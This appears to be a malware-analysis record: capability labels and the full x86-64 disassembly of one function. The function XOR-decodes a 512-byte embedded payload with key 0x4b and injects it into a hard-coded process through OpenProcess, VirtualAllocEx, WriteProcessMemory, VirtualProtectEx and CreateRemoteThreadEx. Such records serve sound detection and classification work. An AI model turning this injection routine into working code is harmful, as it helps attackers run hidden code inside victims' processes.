Function at 0x140001070
Capabilities:
Create thread
Encode data using xor
Inject thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rdi
sub rsp, 0x270
movaps xmmword [rsp + 0x260], xmm6
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x250], rax
lea rcx, [rsp + 0x50]
mov edx, 4
lea rax, [0x140003280]
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x1400010b0
movdqa xmm6, xmmword [str.KKKKKKKKKKKKKKKK_]
xor ebx, ebx
mov ecx, 0x1fffff
mov dword [rsp + 0x40], ebx
mov r8d, 0x5d58
mov dword [rsp + 0x44], ebx
mov ebp, ebx
mov qword [rsp + 0x48], rbx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x140001149
lea rcx, str.Failed_to_get_process_handle_n
call fcn.140001010
lea eax, [rbx + 1]
jmp 0x140001311
mov edx, 0x5d58
mov qword [rsp + 0x280], rsi
lea rcx, str.Got_a_handle_to_process__0x_x__n
call fcn.140001010
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x200
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x14000119d
lea rcx, str.Failed_to_allocate_memory_n
call fcn.140001010
lea ebx, [rsi + 1]
jmp 0x1400012f5
mov ecx, ebx
lea rax, [rsp + 0x60]
nop dword [rax]
nop dword [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add ecx, 0x40
lea rax, [rax + 0x40]
xorps xmm0, xmm6
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm1, xmmword [rax - 0x40]
xorps xmm1, xmm6
movdqu xmmword [rax - 0x40], xmm1
movdqa xmm1, xmm6
movdqu xmm0, xmmword [rax - 0x30]
xorps xmm1, xmm0
movdqu xmmword [rax - 0x30], xmm1
movdqu xmm0, xmmword [rax - 0x20]
xorps xmm0, xmm6
movdqu xmmword [rax - 0x20], xmm0
cmp ecx, 0x200
jb 0x1400011b0
movsxd rax, ecx
cmp rax, 0x200
jae 0x140001221
lea rax, [rsp + rax + 0x50]
nop word [rax + rax]
xor byte [rax], 0x4b
lea rax, [rax + 1]
inc ecx
cmp ecx, 0x200
jb 0x140001210
lea rax, [rsp + 0x48]
mov r9d, 0x200
lea r8, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000125c
lea rcx, str.Failed_to_write_to_memory_n
call fcn.140001010
mov ebx, 1
jmp 0x1400012f5
mov rdx, qword [rsp + 0x48]
lea rcx, str._d_bytes_written_n
call fcn.140001010
lea rax, [rsp + 0x44]
mov r9d, 0x20
mov r8d, 0x200
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x1400012a6
lea rcx, str.Failed_to_give_RE_permissions_n
call fcn.140001010
mov ebx, 1
jmp 0x1400012f5
lea rax, [rsp + 0x40]
mov r9, rsi
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rbx
xor edx, edx
mov dword [rsp + 0x28], ebx
mov rcx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov rbp, rax
test rax, rax
jne 0x1400012e5
lea rcx, str.Failed_to_get_a_handle_to_thread_n
call fcn.140001010
jmp 0x1400012f5
mov edx, dword [rsp + 0x40]
lea rcx, str.Got_thread_handle__0x_x__n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x280]
mov eax, ebx
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140001350
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rdi
ret